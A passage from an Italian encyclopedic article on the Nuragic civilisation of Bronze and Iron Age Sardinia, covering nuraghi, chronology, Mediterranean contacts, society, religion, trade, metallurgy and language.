tafoni) e sono state scavate con grande maestria nel granito e nella pietra lavica. Alcune sono decorate con sculture e pitture simboliche e si presume siano appartenute a capi politici e forse anche religiosi. Le pi\u00f9 antiche vengono datate dagli archeologi intorno alla seconda met\u00e0 del IV millennio a.C.\nA questa fase storica risalgono anche i numerosi \"menhir\" e i \"dolmen\", semplici o allungati che pongono la pi\u00f9 antica realt\u00e0 isolana in relazione con la vasta preistoria dell'Europa atlantica e settentrionale. Rivestono inoltre un particolare interesse le cosiddette statue stele (o statue \"menhir\") della regione del Sarcidano e del Mandrolisai rappresentanti guerrieri armati di pugnale e figure femminili. Il monumento pi\u00f9 misterioso del periodo prenuragico \u00e8 sicuramente la piramide a gradoni, ossia l'altare prenuragico di Monte d'Accoddi, presso Sassari che presenta parallelismi costruttivi sia in Occidente, con le tombe a tumulo della Francia e il contemporaneo complesso monumentale di Los Millares in Andalusia, nonch\u00e9 con i successivi \"talaiots\" delle Baleari, sia in Oriente, secondo alcuni studiosi rappresenterebbe infatti la spia di influenze ideologico-architettoniche provenienti dall'area egiziano-mesopotamica. Ai piedi della piramide a gradoni sono stati ritrovati dagli archeologi consistenti accumuli composti da resti di antichi pasti sacri ed anche oggetti utilizzati durante i riti.\nL'altare di Monte d'Accoddi fu frequentato fino al 2000 a.C. circa quando in Sardegna apparve la cultura del vaso campaniforme, diffusa all'epoca in quasi tutta l'Europa occidentale, che si sovrappose a quella di Monte Claro (2400-2100 a.C.), le cui genti innalzarono poderose muraglie megalitiche a difesa degli abitati come quella di Monte Baranta a Olmedo. Le varie fasi del campaniforme sardo mostrano l'avvicendarsi di due componenti: la prima \"franco-iberica\" e la seconda \"centro-europea\".\nCronologia.\nIn base ad una classificazione ed alla divisione temporale elaborata dello studioso Giovanni Lilliu (\"Nuragico I, II, III, IV, V\"), l'edificazione dei nuraghi e lo svilupparsi della civilt\u00e0 nuragica ha seguito diverse fasi collocabili entro l'et\u00e0 del Bronzo e l'et\u00e0 del Ferro.\nNascita della civilt\u00e0 nuragica.\nLa cultura di Bonnanaro si sviluppa tra il 1800 a.C. e il 1600 a.C. circa (esordendo con maggiore intensit\u00e0 nella Nurra e nel Sulcis-Iglesiente per poi propagarsi in tutta la Sardegna) come evoluzione finale del Campaniforme pi\u00f9 influssi provenienti dalla penisola italiana, giunti forse attraverso la Corsica, dove si arricchirono delle conoscenze architettoniche di tipo ciclopico ivi gi\u00e0 presenti. Le ceramiche bonnanaresi (generalmente inornate e dotate di anse a gomito) presentano infatti delle similitudini con quelle della contemporanea cultura di Polada diffusasi nell'Italia settentrionale nell'antica et\u00e0 del bronzo.\nNuove genti arrivarono sull'Isola in quel periodo, portando con s\u00e9 nuovi culti, nuove tecnologie e nuovi modelli di vita, rendendo obsoleti i precedenti o reinterpretandoli alla luce della cultura dominante. Per il padre dell'archeologia sarda Giovanni Lilliu:\nL'introduzione del bronzo port\u00f2 notevoli miglioramenti in ogni campo. Con la nuova lega di rame e stagno (o arsenico) si otteneva infatti un metallo pi\u00f9 duro e resistente, adatto a fabbricare attrezzi agricoli, ma soprattutto si prestava alla forgia di armi migliori, da utilizzare sia per la caccia che per la guerra. Ben presto in Sardegna, terra ricca di miniere, si costruirono fornaci per la fusione delle leghe che da esperti artigiani venivano lavorate abilmente dando vita ad un fiorente commercio verso tutta l'area mediterranea, in particolare verso quelle regioni povere di metalli.\nIn questo periodo inizia la costruzione dei protonuraghi e quindi la prima fase della civilt\u00e0 nuragica (Nuragico antico). Queste costruzioni sono assai diverse dai nuraghe classici avendo una planimetria irregolare e l'aspetto assai tozzo. Sono costituiti da uno o pi\u00f9 corridoi e mancano della camera circolare tipica dei nuraghi a \"tholos\". Rispetto a questi sono di dimensioni minori come altezza (mediamente 10 metri rispetto ai 20 e pi\u00f9 metri di quelli classici), mentre la loro superficie \u00e8 pi\u00f9 del doppio (250 m\u00b2 rispetto ai 100 delle torri nuragiche). Risulta inoltre imponente la massa muraria rispetto agli spazi interni sfruttabili.\nIl nuraghe.\nIntorno alla met\u00e0 del II millennio a.C., durante la media et\u00e0 del Bronzo, i protonuraghi si evolvono in torri megalitiche di forma tronco conica, e si diffusero ampiamente in tutto il territorio della Sardegna (1 nuraghe ogni 3\u00a0km\u00b2 circa).\nFurono il centro della vita sociale degli antichi Sardi e diedero il nome alla loro civilt\u00e0, sebbene la loro funzione e destinazione sia ancora altamente controversa tra storici ed archeologi che, di volta in volta, hanno elaborato teorie sul loro uso militare, civile, religioso o per la sepoltura dei defunti.\nIl dibattito tra i ricercatori \u00e8 assai intenso e alcune nuove proposte cercano di andare oltre gli studi dell'accademico sardo Giovanni Lilliu il quale ha sempre difeso l'idea del nuraghe-fortezza. Una nuova tesi \u00e8 quella che vede nei nuraghi una funzione prevalentemente astronomica descrivendoli come dei veri e propri osservatori fissi della volta celeste, disposti sul territorio secondo precisi allineamenti con gli astri.\nIntorno al 1500 a.C., dai rilievi archeologici, si possono notare aggregazioni sempre pi\u00f9 consistenti di villaggi costruiti in prossimit\u00e0 di queste poderose costruzioni, edificate spesso sulla sommit\u00e0 di un'altura, ma sempre con tecnica megalitica (grossi blocchi di pietra sovrapposti) e con ampie camere aventi i soffitti voltati a \"tholos\" (falsa cupola). Probabilmente per un maggior bisogno di protezione, si nota nel tempo il costante aggiungersi progressivo di pi\u00f9 torri a quella pi\u00f9 antica - addossandole o collegandole tra loro con cortine murarie.\nDa semplici, i nuraghi divennero in questo modo complessi, trilobati ed anche quadrilobati, cos\u00ec da essere caratterizzati da sistemi articolati di torri, con sistemi murari muniti di feritoie. Tuttavia alcuni hanno una posizione meno strategica. Secondo alcune teorie avrebbero avuto una funzione sacra per marcare l'orizzonte visto dai principali nuraghi rispetto ai solstizi. Le torri dei Nuraghi pi\u00f9 grandi potevano superare i venti metri, come quella del Nuraghe Arrubiu che superava in origine i 27 metri. Alcuni Nuraghi oltre ad essere riforniti da pozzi erano provvisti anche di complessi sistemi di drenaggio, come ad esempio il Nuraghe Arrubiu\nQuelli giunti fino a noi - a parte le torri isolate - sono costruzioni imponenti e complesse, con annessi villaggi a formare costruzioni simili a castelli, a volte denominati dagli studiosi anche \"regge nuragiche\". Nonostante siano trascorsi millenni, questi villaggi nuragici non sono scomparsi completamente ma si ritiene che le popolazioni nuragiche abbiano abitato costantemente i siti, mantenendoli in vita e originando alcuni paesi della Sardegna odierna, forse a quelli che hanno come prefisso la parola \"nur/nor\" come Nurachi, Nuraminis, Nurri, Nurallao, Noragugume.\nFra i nuraghi esistenti quelli pi\u00f9 considerati sono Su Nuraxi a Barumini (che \u00e8 stato eletto a simbolo della civilt\u00e0 nuragica dalla commissione dell'UNESCO che l'ha inserita fra i patrimoni dell'umanit\u00e0), Santu Antine a Torralba, Nuraghe Losa ad Abbasanta, Palmavera (Alghero), Nuraghe Arrubiu a Orroli e infine il Complesso nuragico di Seruci a Gonnesa.\nLegami con la civilt\u00e0 micenea e con la civilt\u00e0 minoica - i tholoi.\nI tholoi sono caratteristici oltre che della civilt\u00e0 nuragica anche della civilt\u00e0 micenea, di quella minoica e, pi\u00f9 tardi, di quella etrusca. Tuttavia questa copertura ogivale a \"falsa cupola\" la si ritrova a partire dal Neolitico anche in Siria, Oman, Turchia, Spagna. I Micenei, detti Achei o Danai, furono una delle popolazioni elleniche di lingua indoeuropea che invasero la Grecia nel II millennio a.C., riuscendo a egemonizzare definitivamente le genti preelleniche, da alcuni dette greche o pelasgiche. Essi diedero luogo a costruzioni imponenti come il Tesoro di Atreo caratterizzato da una tholos alta 14,50 metri.\nQuesto tipo edilizio, con connotati e tecniche costruttive ben precise, oltre ai corridoi megalitici quasi a sesto acuto presenti nella fortezza di Tirinto ed in diversi nuraghi, lascia ipotizzare un forte legame culturale tra queste civilt\u00e0. Ci\u00f2 \u00e8 testimoniato, oltre che dalla citazione degli \"edifici modellati secondo l'antica tradizione ellenica\" ad opera dello Pseudo Aristotele, dai reciproci scambi commerciali il cui filo conduttore, anche culturale, sembra essere legato alla metallurgia.\nNel testo \"De mirabilibus auscultationibus\", scritto di tradizione beotico-euboica, cio\u00e8 di regioni interessate dalla colonizzazione micenea, vengono istituite correlazioni strutturali e storiche tra le tholoi achee e quelle nuragiche spiegandole dalla loro ottica attraverso la venuta di Dedalo in Sardegna: i Greci di epoca storica riconobbero nella Sardegna la forte impronta comune ai Micenei in queste lontane terre d'occidente.\nDedalo, Iolao, Aristeo, potrebbero inoltre essere considerati un riflesso dell'attivissimo commercio minoico-miceneo, cos\u00ec come la leggenda su Dedalo che, esule da Creta e rifugiatosi nella Sicilia occidentale, a Camico, viene poi fatto approdare in Sardegna da Iolao o Aristeo, mettendo in risalto il cambiamento della rotta commerciale verso l'Occidente avvenuto durante il Miceneo III b. La civilt\u00e0 minoica, similmente a quella micenea, presenta forti analogie con quella nuragica. Ad esempio \u00e8 assai simile nella forma costruttiva il complesso del villaggio di Stylos a Creta in localit\u00e0 Sternaki che include una tomba del tardo minoico con tholos ed una lunga dromos.\nMa sono tanti i siti archeologici in cui si respira una certa somiglianza e familiarit\u00e0: Phylaki, Yerokambos, Platanos, Odigitria, Nea Roumata, Koumasa, Kamilari, Apesokari, Chamaizi, Phourni. Da un punto di vista culturale la civilt\u00e0 nuragica e quella minoica avevano in comune il culto per la Grande Madre, una figura tipica del resto in quasi tutte le civilt\u00e0 che si affacciavano sul mar Mediterraneo, con l'attributo della \"colomba\" quale richiamo alla fertilit\u00e0 spesso riportata a coronamento delle navicelle nuragiche in bronzo.\nAltro forte punto di contatto era la venerazione e l'importanza del toro, protagonista della tauromachia e della leggenda minoica del Minotauro che, probabilmente, in Sardegna aveva un qualche richiamo essendo stati ritrovati bronzetti aventi corpo di toro e testa umana. Altra similitudine era di tipo sportivo, essendo praticato nelle due isole il pugilato con mani dotate di guantoni.\nLe fonti antiche suggeriscono tuttavia che le relazioni non furono sempre amichevoli, Simonide di Ceo, narrando del mito Talos e dell'origine del riso sardonico, fa menzione di una guerra scoppiata tra Sardi e Cretesi mentre Plutarco nelle \"Quaestiones Graecae\" parla di antichi assalti di Tirreni-Sardi all'isola di Creta: \u00ab\"Ivi guerreggiando con gli abitanti di Creta, lasciavano insepolti molti di quelli che morivano nelle battaglie, da prima perch\u00e9 erano impediti per la guerra e il pericolo, dopo perch\u00e9 schivavano di toccare i cadaveri scomposti e disfatti dal tempo\"\u00bb. Ci\u00f2 evidenzierebbe che, a una fase iniziale di pacifici scambi commerciali, segu\u00ec un periodo di deterioramento dei rapporti e di conflitti.\nGli Shardana.\nLa tarda et\u00e0 del Bronzo (1300-1100 a.C.) fu il periodo in cui nel mar Mediterraneo si verific\u00f2 un vasto movimento guerresco, descritto dettagliatamente nelle fonti egiziane e alimentato dai Popoli del Mare, coalizione di popoli di navigatori-guerrieri che mise a ferro e fuoco il Mediterraneo orientale scontrandosi pi\u00f9 volte con l'Egitto dei faraoni e contribuendo alla scomparsa della civilt\u00e0 micenea e ittita.\nSecondo alcuni studiosi, gli Shardana, una delle popolazioni facenti parte di questa coalizione, sarebbero identificabili con le genti nuragiche (in particolare con gli Iolei/Iliensi); in alternativa \u00e8 stato proposto un loro arrivo sull'Isola da oriente intorno al XIII - XII secolo a.C., a seguito della tentata invasione dell'Egitto.\nFonti egizie, databili al periodo del faraone Ramses II tramandano che: \u00ab\"gli Shardana sono venuti con le loro navi da guerra dal mezzo del Grande Verde (Grande Mare), nessuno pu\u00f2 resistergli\"\u00bb; questi guerrieri navigatori vengono anche definiti come: \u00ab\"...gli Shardana del mare, dal cuore ribelle, senza padroni, che nessuno aveva potuto contrastare\"\u00bb. Queste considerazioni vengono poi riportate nel resoconto della battaglia di Kadesh, passata alla storia per essere la prima con un racconto preciso ed una descrizione tattica dei combattimenti.\nIl loro equipaggiamento militare, descritto nei bassorilievi egizi, risulta molto particolare e distinto da quello di altri guerrieri loro contemporanei. Usavano spade lunghe, pugnali, lance e scudo tondo, mentre i guerrieri egiziani erano prevalentemente arcieri. Portavano un gonnellino corto, una corazza e un elmo provvisto di corna, e le loro imbarcazioni erano caratterizzate da protomi animali, con l'albero simile a quanto raffigurato in alcune navicelle nuragiche in bronzo rinvenute in contesti nuragici. \nL'epoca delle aristocrazie.\nGli archeologi definiscono la fase nuragica che va dal 900 a.C. al 500 a.C. (et\u00e0 del ferro) la \"stagione delle aristocrazie\". L'artigianato produsse ceramiche raffinate e strumenti sempre pi\u00f9 elaborati, mentre aument\u00f2 la qualit\u00e0 delle armi.\nCon il prosperare dei commerci, i prodotti della metallurgia e i manufatti sardi raggiunsero ogni angolo del Mediterraneo, dalle coste siro-palestinesi a quelle spagnole e atlantiche. Le capanne nei villaggi aumentarono di numero e ci fu generalmente un ampio incremento demografico, cess\u00f2 la costruzione dei nuraghi i quali vennero riadattati in edifici sacri o smantellati e abbandonati gi\u00e0 a partire dal 1150 a.C. e al rituale dell'inumazione collettiva in tombe dei giganti si sostitu\u00ec l'inumazione individuale.\nMa la vera conquista in quel periodo, secondo l'archeologo Giovanni Lilliu, non fu tanto l'accuratezza nella cultura materiale, bens\u00ec l'organizzazione politica \"aristocratica\" che ruotava intorno al parlamento del villaggio, nel quale un'assemblea composta dai capi e dalle persone pi\u00f9 influenti, si riuniva per discutere sulle questioni pi\u00f9 importanti e sulla giustizia.\nSecondo l'illustre studioso, questa forma di governo, bench\u00e9 non originale ed esclusivo della Sardegna, si ritrov\u00f2 intatto, dopo duemila anni, nello spirito delle \"coronas\" giudicali.\nIn epoca recente i ricercatori hanno scoperto in localit\u00e0 Monti Prama, non lontano dall'antica citt\u00e0 di Tharros, nella penisola del Sinis, luogo di contatto tra i Sardi nuragici e i nuovi arrivati Fenici, imponenti statue in pietra arenaria, rappresentanti guerrieri armati con archi e altre armi, segno eloquente che la civilt\u00e0 nuragica si evolveva verso forme sempre pi\u00f9 spettacolari ed imponenti.\nL'espansione militare punica e romana.\nA partire dal VI-V secolo a.C. la Sardegna entr\u00f2 nell'orbita imperialistica prima cartaginese e poi romana. Le fonti antiche testimoniano il perdurare della cultura indigena: fonti romane ci tramandarono che le due isole di Sardegna e Corsica erano abitate da tante etnie che si erano progressivamente uniformate culturalmente, rimanendo per\u00f2 divise politicamente in tante trib\u00f9, sovente confederate ma anche in contesa tra loro per il possesso dei territori pi\u00f9 ricchi e fertili.\nLe stesse fonti fanno sapere quali erano le pi\u00f9 consistenti concentrazioni etniche, e tra queste vengono indicate chiaramente quelle degli Iolei o Ilienses, dei B\u00e0lari, dei Corsi e le \"Civitates Barbariae\", ossia le etnie che stanziavano nelle attuali Barbagie e che rifiutavano il processo di romanizzazione.\nLo studioso Giovanni Lilliu ha definito la sopravvivenza della cultura nuragica attraverso i secoli tra le popolazioni barbaricine come \"costante resistenziale sarda\".\nSociet\u00e0.\nGli archeologi ritengono che la Sardegna nuragica avesse un'organizzazione di tipo cantonale. Tali entit\u00e0 erano probabilmente formate da varie famiglie (\"clan\") che obbedivano ad un capo e vivevano in villaggi composti da capanne circolari con il tetto in paglia, del tutto simili alle attuali \"pinnettas\" dei pastori della Sardegna.\nGli arsenali di armi di vario tipo, rinvenute durante gli scavi, lasciano desumere che quella nuragica fosse una societ\u00e0 votata alla guerra e oligarchica, strutturata in modo gerarchico e ben organizzata militarmente.\nIn tale struttura patriarcale e teocratica - secondo gli studiosi - aveva un'importanza di rilievo la figura degli eroi fondatori quali Norax, Sardus, Iolaos e Aristeus, mitici condottieri ma allo stesso tempo considerati divinit\u00e0. Una \"societ\u00e0 di capi\", in cui l'egemonia di alcune famiglie all'interno della comunit\u00e0 era ben consolidata ed il potere, forse all'inizio attribuito con un sistema elettivo, probabilmente divenne stabile ed ereditario.\nLe raffigurazioni dei bronzetti indicano chiaramente la presenza di \"capi-re\", riconoscibili perch\u00e9 spesso reggono uno scettro (bastone da pastore) ed indossano un mantello, interpretati come simbolo di comando.\nIl gran numero di bronzetti raffiguranti soldati sono la testimonianza di una classe militare ordinata in vari corpi e gradi (arcieri, fanteria) con uniformi differenziate, che fanno pensare a milizie di corpi in cantoni differenti. Per desumere le tecniche di combattimento sono interessanti gli scudi forniti di spade di scorta e di coltelli da lancio, i parastinchi uncinati, i guantoni metallici per la lotta corpo a corpo. Un'attenta analisi fa inoltre riconoscere anche altre entit\u00e0 di casta, come quella costituita dai sacerdoti.\nI bronzetti descrivono anche il popolo con figurine di contadini, di donne, di artigiani, di sportivi (lottatori e pugilatori simili a quelli della civilt\u00e0 minoica) e di musicisti (come il suonatore di flauto doppio, simile alle launeddas, da Ittiri). Dai bronzetti e dalle statue di Monte Prama si desumono informazioni relative all'aspetto ed alla cura del corpo. I maschi portavano un paio di lunghe trecce ricadenti nel lato sinistro e destro del volto. Il capo era invece rasato o coperto da calotte in cuoio. Le donne portavano in genere i capelli lunghi.\nI villaggi.\nI villaggi erano costituiti da capanne aggregate fra loro e realizzate a partire da una base a forma circolare o ellissoidale in pietra, alta non pi\u00f9 di 2 metri, coperta sulla sommit\u00e0 da pali, canne e paglia; pi\u00f9 raramente sono stati registrati dei casi dove l'intera struttura della capanna, compresa la copertura, era realizzata in pietra. Dal bronzo finale in poi le abitazioni assumono una pianta pi\u00f9 complessa, con pi\u00f9 vani, e spesso posizionate intorno ad un cortile interno, come a Sant'Imbenia, Sa Sedda e Sos Carros, Serra Orrios o a Barumini. Costruzioni in terra cruda si erano gi\u00e0 diffuse durante il bronzo finale e la prima et\u00e0 del ferro come testimoniato da diversi siti, sono attestate ad esempio a San Sperate, Monastir, Su Cungiau 'e Funt\u00e0 di Nuraxinieddu, Monte Prama e Sardara.\nIn alcuni insediamenti, come quello di Barumini, sono presenti delle rudimentari fognature. Nell'insediamento di Gremanu \u00e8 presente l'unico esempio conosciuto di acquedotto nuragico.\nI villaggi si trovavano generalmente nelle vicinanze dei nuraghi e dei pozzi sacri. Tra i pi\u00f9 significativi esempi di villaggi nuragici si possono citare: Su Romanzesu, Su Nuraxi, Serra Orrios o di epoche pi\u00f9 tarde il villaggio di Tiscali.\nI cantoni nuragici.\nLe comunit\u00e0 nuragiche prosperavano entro i confini del proprio territorio cantonale. Secondo le tesi pi\u00f9 diffuse, sulle frontiere politiche o etniche dei cantoni, a difesa e dominio del territorio erano poste le torri nuragiche. Queste delimitavano zone agricole e pastorali non molto diverse, per grandezza e per forma, da quelle che saranno, nel Medioevo, le curatorie giudicali\nSi suppone che solamente una societ\u00e0 gerarchicamente molto organizzata, con un numero molto elevato di persone religiosamente assoggettate, potesse esprimere architetture cos\u00ec imponenti come la reggia nuragica de su Nuraxi o altre forme architettoniche.\nA tal proposito l'archeologo Giovanni Lilliu scrive: \nLe etnie nuragiche.\nEtnie principali.\nLo scrittore latino Gaio Plinio Secondo nell'opera del I secolo d.C. \"Naturalis Historia\" riporta che:\nLo studioso della civilt\u00e0 nuragica Giovanni Lilliu, alle suddette entit\u00e0 etniche (che negli ultimi tempi della loro storia si ritirarono nei territori montani - fondendosi ulteriormente tra loro - e creando il tessuto di sardit\u00e0 costituito oggigiorno dalle popolazioni barbaricine), fa corrispondere entit\u00e0 culturali abbastanza evidenti:\nQueste ed altre etnie progressivamente si accentrarono in villaggi a cui poi corrispose un territorio molto ben definito, fino a formare nel corso del II millennio a.C. - e specie nella prima met\u00e0 del I Millennio a.C - piccoli staterelli - che raggiunsero, federandosi tra loro, un notevole equilibrio ed un notevole assetto civile\nEtnie minori.\nEcco le altre popolazioni - cos\u00ec come ci vengono tramandate dagli scritti romani - che abitavano la Sardegna e la loro distribuzione geografica in epoca romana imperiale:\nReligione.\nLe grandi effigi in pietra raffiguranti organi genitali maschili (chiamati b\u00e9tili), e le rappresentazioni di animali come il toro, probabilmente risalgono alle culture pre-nuragiche. Seguendo una continuit\u00e0 con le precedenti culture, anche nella civilt\u00e0 nuragica gli animali muniti di corna avevano valenza sacra, e furono frequentemente riprodotti nelle imbarcazioni, nei grandi vasi in bronzo per il culto, nelle spade votive, negli elmi dei soldati. Durante gli scavi archeologici che nel tempo hanno interessato tutto il territorio isolano sono stati rinvenuti bronzetti rappresentanti figure met\u00e0 toro e met\u00e0 uomo, personaggi con quattro braccia e quattro occhi, cervi con due teste, aventi carattere mitologico, simbolico o religioso. Altro animale sacro fortemente raffigurato in modo stilizzato nei bronzetti era la colomba.\nLe diverse trib\u00f9 nuragiche, per ingraziarsi le divinit\u00e0 e poter progredire, praticavano molto probabilmente una religione che collegava la fertilit\u00e0 dei campi, il ciclo delle stagioni, dell'acqua e della vita, con la \"forza maschile\" del Toro-Sole e la \"fertilit\u00e0 femminile\" dell'Acqua-Luna. Si ritiene che vi fosse probabilmente una dea Madre e un dio padre Babai, chiamato in epoca punica Sid Addir Baby e in epoca romana Sardus Pater.\nDagli scavi si evince che in determinate ricorrenze annuali i nuragici si radunavano in luoghi comuni di culto, con alloggi e strutture di tipo aggregativo, a volte gradonate, in cui solitamente si segnala la presenza di un pozzo sacro, talune volte di fattura molto decorata e complessa da un punto di vista idraulico come Sedda 'e sos Carros di Oliena (NU).\nIn alcune aree sacre, come quelle nuoresi di Gremanu a Fonni e di Serra Orrios a Dorgali, di S'Arcu 'e is Forros a Villagrande Strisaili o nel complesso nuragico di Malchittu ad Arzachena, sono presenti templi a base rettangolare chiamati templi a \"m\u00e9garon\", o circolari come nel santuario nuragico di Abini presso Teti, strutture con spazio sacro interno che potrebbe essere stato destinato ad un fuoco sacro forse mantenuto acceso da una casta sacerdotale.\nNei pozzi sacri e nei \"m\u00e9gara\" vi erano sacerdoti che officiavano riti ormai ignoti, probabilmente collegati al culto dell'acqua e forse a ritualit\u00e0 astronomiche di tipo solare, lunare o di osservazione dei solstizi. In particolare \u00e8 interessante la raffigurazione bronzea di una sacerdotessa che presenta il capo sormontato da un disco che verosimilmente richiama il sole o la luna. Altri copricapi circolari sono allungati verso l'alto. Molte statuette in bronzo raffigurano personaggi che alzano la mano (solitamente la destra) in segno di saluto, invocazione o preghiera.\nGli studiosi pensano che in occasione di queste feste e celebrazioni religiose collettive, i santuari abbiano fatto da incubatori per l'idea di nazione o, comunque, di una pi\u00f9 stretta confederazione; in tali occasioni si tenevano infatti incontri intercantonali, giochi sportivi simili alla lotta greco romana ed al pugilato e si stringevano alleanze familiari e rapporti commerciali.\nSecondo l'archeologo Giovanni Lilliu, \u00e8 esemplare a tal proposito il Santuario nuragico di Santa Vittoria di Serri, vero e proprio pantheon delle divinit\u00e0 nuragiche, supponendo che nell'edificio principale del villaggio si riunissero in assemblee federali i clan pi\u00f9 potenti dei sardi nuragici abitanti la Sardegna centrale, per consacrare alleanze o per decidere guerre.\nLe strutture comuni erano organizzate in modo da far convivere la festa religiosa e quella civile, il mercato con l'assemblea politica. Era presente il tempio a pozzo della fonte sacra, fornita di atrio e con fossa per i sacrifici, con uno spazio per esporre gli \"ex voto\", scala con soffitto gradonato e la tipica camera, dove si raccoglieva l'acqua, provvista di falsa cupola con foro centrale. Non mancavano le protomi taurine sul prospetto e, intorno, b\u00e9tili e cippi. Vi era pure un sacello rettangolare con sagrestia per le offerte al o agli dei. I giochi e gli affari si svolgevano in una vasta corte ellittica con porticati e vani rotondi per il soggiorno dei partecipanti e con i posti riservati ai rivenditori di merci, ai pastori e ai contadini. Nelle vicinanze vi era un ambiente circolare con alcune capanne. Il primo serviva per le assemblee, nelle seconde abitavano gli addetti alla custodia, alla manutenzione dei luoghi e gli amministratori dei beni del tempio. Nello stesso modo era organizzato il tempio di Santa Cristina a Paulilatino.\nSono noti almeno una ventina di questi templi (molte volte recuperati al culto cristiano come ad esempio la \"cumbessias\" di San Salvatore di Sinis presso Cabras). In diversi santuari si trovavano grandi vasche o piscine rituali, ne \u00e8 un esempio la grande vasca lastricata del Nuraghe Nurdole, che funzionava tramite un complesso sistema idraulico e veniva probabilmente utilizzata per abluzioni e immersioni rituali.\nIl culto dei morti veniva praticato dagli antichi sardi presso le tombe dei giganti, tramite riti incubatori che potevano durare diversi giorni, allo scopo di ricevere consigli, presagi e per richiedere guarigioni agli eroi-antenati.\nGli studiosi ritengono che siano collegati alla religiosit\u00e0 anche i singolari dischi cesellati con figure geometriche chiamati pintadera, la cui funzione non \u00e8 univocamente stabilita.\nEconomia.\nSe l'assetto urbanistico era fondato sul villaggio, quello economico si basava sull'agricoltura (tra cui la viticoltura, i Nuragici furono infatti, secondo recenti scoperte, i primi a praticarla nel mediterraneo occidentale), sulla pastorizia e sulla pesca originando probabilmente un'economia inizialmente di tipo agro-pastorale. Le figurine dei bronzetti ritrovati evidenziano abbastanza chiaramente una specializzazione nelle arti e nei mestieri.\nIl commercio.\nLa navigazione rivest\u00ec pertanto un ruolo molto importante. Il ritrovamento poi di ancore nuragiche lungo la costa orientale (Capo Figari, Capo Comino, Nora), alcune del peso di 100 chili, confermano che le imbarcazioni erano molto robuste e probabilmente gli scafi raggiungevano una lunghezza di oltre i 15 metri.\nDopo essere stata per anni descritta come una civilt\u00e0 chiusa in se stessa, con ipotesi che attribuivano alle navicelle nuragiche in bronzo una funzione votiva o di semplici lucerne, le evidenze archeologiche testimoniano che i Nuragici costruivano solide imbarcazioni ed erano abili commercianti, che viaggiavano con i loro scafi sulle rotte dei traffici internazionali, intessendo forti legami con la Civilt\u00e0 Micenea, con Cipro, con la Spagna e con l'Italia.\nResti di ceramiche nuragiche del XIII secolo sono stati ritrovati a Tirinto, nel sito portuale di Kommos a Creta, a Pyla-Kokkinokremnos e Hala Sultan Tekke, sull'isola di Cipro, e in Sicilia, a Lipari e nell'Agrigentino, lungo la rotta che collegava l'oriente all'occidente del Mediterraneo; allo stesso tempo ceramiche micenee e manufatti in avorio raggiunsero l'isola dall'Egeo. I frequenti scambi commerciali e l'importanza dell'intenso commercio del rame verso il Mediterraneo orientale, testimoniato dal ritrovamento di importanti quantit\u00e0 di lingotti di rame di produzione cipriota, stimolarono la metallurgia e i commerci e portarono ad un intenso sviluppo economico, contribuendo ad arricchire significativamente le popolazioni nuragiche. \nTale sviluppo \u00e8 considerato da molti studiosi, per quei tempi, il pi\u00f9 importante mai prodotto in tutto l'Occidente mediterraneo di allora. I contatti con i popoli orientali divennero sempre pi\u00f9 stretti, in particolare quelli con Cipro, ma si \u00e8 oramai certi dei contatti anche con l'Europa atlantica. Ceramiche nuragiche di tipo \"askoide\", anfore, tripodi e spade nuragiche sono state scoperte nella Spagna orientale e oltre lo stretto di Gibilterra (Huelva, Tarragona, Teruel, Malaga e Cadice).\nGli scambi con i centri protovillanoviani, villanoviani e poi Etruschi, principalmente con Vetulonia, Vulci e Populonia, avvenuti tra il Bronzo finale e l'et\u00e0 del Ferro, furono molto assidui e ben documentati dai ritrovamenti in tombe etrusche delle singolari e tipiche statuette in bronzo, navicelle votive e vasi nuragici, che testimonierebbero anche legami di tipo dinastico. Anche in Sardegna sono state ritrovate fibule, spade e altri bronzi di produzione tirrenica, attestando la vitalit\u00e0 degli scambi tra i due aree, entrambe molto ricche di risorse metallifere.\nUn recente studio (2013) su 71 reperti in bronzo svedesi, ascrivibili a contesti dell'Et\u00e0 del bronzo nordica, effettuato attraverso l'analisi degli isotopi del piombo, ha svelato che la maggior parte di questi reperti \u00e8 stato prodotto con rame proveniente principalmente dalla penisola iberica e dalla Sardegna aprendo nuove prospettive sui complessi traffici di rame e stagno dell'et\u00e0 del bronzo.\nLa metallurgia.\nLa metallurgia realizzava tutto il ciclo di lavorazione sul posto e la maestria dimostrata dai nuragici nella lavorazione del bronzo fa capire fino a che punto erano divenuti abili nella lavorazione dei metalli e nella fabbricazione di armi.\nNei musei sardi oltre alle collezioni di bronzetti votivi, si possono ammirare anche veri e propri arsenali di armi di ogni specie che mostrano non solo il notevole livello tecnico raggiunto dagli artigiani, ma anche l'indice elevato di produzione e l'elevato grado di consumo, sono stati rinvenuti - infatti - grandi quantit\u00e0 di oggetti in bronzo rotti e destinati nuovamente alla fusione.\nLe ultime scoperte archeologiche fanno conoscere nuovi ed interessanti aspetti della civilt\u00e0 nuragica durante la quale i ricchi giacimenti di minerali, soprattutto quelli di rame e piombo, hanno avuto un ruolo primario: non \u00e8 considerata infatti una semplice coincidenza se l'et\u00e0 aurea, nel mezzo del II millennio a.C., viene posta in un'epoca in cui l'attivit\u00e0 estrattiva e metallurgica conobbe una straordinaria espansione.\nIn Sardegna sono stati rinvenuti numerosi lingotti di rame, chiamati - per la loro particolare forma - a \"pelle di bue\": alcuni di questi lingotti, prodotti a Cipro, sono stati ritrovati in Corsica, in Francia e persino in Germania ma anche, e soprattutto, lungo le coste turche, in Bulgaria, in Grecia ed in Egitto. L'esame delle armi, aventi foggia sia iberica che egeico-orientale, offre interessanti riflessioni essendo, queste, utili per capire le connessioni e, forse, le origini e i flussi commerciali della civilt\u00e0 nuragica.\nNon \u00e8 stato invece ancora risolto il \"mistero\" legato alla fusione del bronzo: tale lega \u00e8 il risultato della fusione tra il rame (ampiamente disponibile in Sardegna) e lo stagno, del quale invece non \u00e8 stata segnalata la presenza sull'isola. Grandi giacimenti di stagno erano invece presenti in Inghilterra. I Nuragici, si suppone, si approvvigionavano presumibilmente all'esterno intrattenendo scambi commerciali con paesi molto lontani. Probabilmente la lavorazione del ferro fu introdotta nell'isola gi\u00e0 nel bronzo finale (XIII-XI secolo a.C.)\nLingua.\nNel corso dei decenni sono state formulate varie ipotesi sulla lingua parlata dagli antichi Sardi in epoca nuragica, basate principalmente sullo studio di quel che resta dell'onomastica pre-latina dell'isola. Secondo una di queste interpretazioni linguistiche, l'antica parlata protosarda sarebbe da ascrivere alla famiglia delle lingue paleoispaniche (iberico, basco) mentre secondo un'altra, la cosiddetta \"lingua sardiana\" (o protosarda) sarebbe da confrontare piuttosto con quella etrusca. Altre ipotesi teorizzano la coesistenza di pi\u00f9 lingue nella Sardegna dell'et\u00e0 del bronzo; recentemente \u00e8 stato proposto che nell'Isola erano 